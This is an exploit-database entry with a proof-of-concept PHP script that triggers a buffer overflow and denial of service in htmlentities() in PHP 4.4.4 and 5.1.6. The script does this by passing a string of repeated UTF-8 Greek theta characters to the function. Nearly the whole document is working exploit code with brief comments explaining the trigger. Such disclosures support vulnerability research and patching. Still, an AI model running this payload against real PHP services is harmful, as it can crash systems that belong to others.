PHP 4.4.4/5.1.6 - 'htmlentities()' Local Buffer Overflow (PoC)

Author: Nick Kezhaya
type: dos
platform: multiple
port: 
date_added: 2006-11-26 
date_updated: 2016-09-16 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphp-4.4.4.tar.gz

<?php
	/*	    Nick Kezhaya	*/
	/*    www.whitepaperclip.com 	*/

	//instantiate a string
	$str1 = "";

	for($i=0; $i < 64; $i++) {
		$str1 .= toUTF(977); //MUST start with 977 before bit-shifting
	}

	htmlentities($str1, ENT_NOQUOTES, "UTF-8"); //DoS here
	/*
		htmlentities() method automatically assumes
		it is a max of 8 chars.  uses greek theta
		character bug from UTF-8
	*/

?>

<?php
	function toUTF($x) {
		return chr(($x >> 6) + 192) . chr(($x & 63) + 128);
	}
?>

# milw0rm.com [2006-11-27]